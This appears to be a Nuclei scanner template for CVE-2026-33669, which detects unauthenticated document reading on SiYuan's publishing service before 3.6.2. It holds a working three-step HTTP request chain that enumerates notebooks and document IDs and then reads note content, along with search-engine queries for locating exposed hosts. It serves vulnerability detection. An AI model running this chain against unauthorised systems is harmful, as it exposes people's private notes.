Copy
id: CVE-2026-33669
info:
name: SiYuan < 3.6.2 - Publishing Service Unauthenticated Document Reading
author: DhiyaneshDk
severity: high
description: |
SiYuan before 3.6.2 exposes /api/file/readDir and /api/block/getChildBlocks on the publishing service without authorization. Document IDs are enumerated with readDir and then document content is read with getChildBlocks. Fixed releases reject the requests with 403. Point the template at the publishing service port (default 6808).
impact: |
An unauthenticated attacker can enumerate notebooks and read note content via the publishing service.
remediation: |
Upgrade to SiYuan 3.6.2 or later, or disable the publishing service.
reference:
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-34xj-66v3-6j83
- https://nvd.nist.gov/vuln/detail/CVE-2026-33669
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-33669
epss-score: 0.02236
epss-percentile: 0.83526
cwe-id: CWE-862
metadata:
verified: true
max-request: 3
vendor: siyuan-note
product: siyuan
shodan-query: http.html:"SiYuan"
fofa-query: body="SiYuan"
tags: cve,cve2026,siyuan,exposure,unauth,vuln
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /api/file/readDir HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"path":"/data"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "\"isDir\":true")'
condition: and
internal: true
extractors:
- type: regex
name: notebook
part: body
internal: true
group: 1
regex:
- '"data":\[.*?"name":"([0-9]{14}-[a-z0-9]{7})"'
- raw:
- |
POST /api/file/readDir HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"path":"/data/{{notebook}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, ".sy")'
condition: and
internal: true
extractors:
- type: regex
name: doc
part: body
internal: true
group: 1
regex:
- '"data":\[.*?"name":"([0-9]{14}-[a-z0-9]{7})\.sy"'
- raw:
- |
POST /api/block/getChildBlocks HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"id":"{{doc}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"code\":0", "\"content\":", "\"markdown\":")'
condition: and
# digest: 490a004630440220675f514165781362b6749c3362902f4b10a582fcf8b49410af0a751051cdf4e30220146024703c5e9e875785aa0b1df4b9b6764e26692605e83b757a321232952d41:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.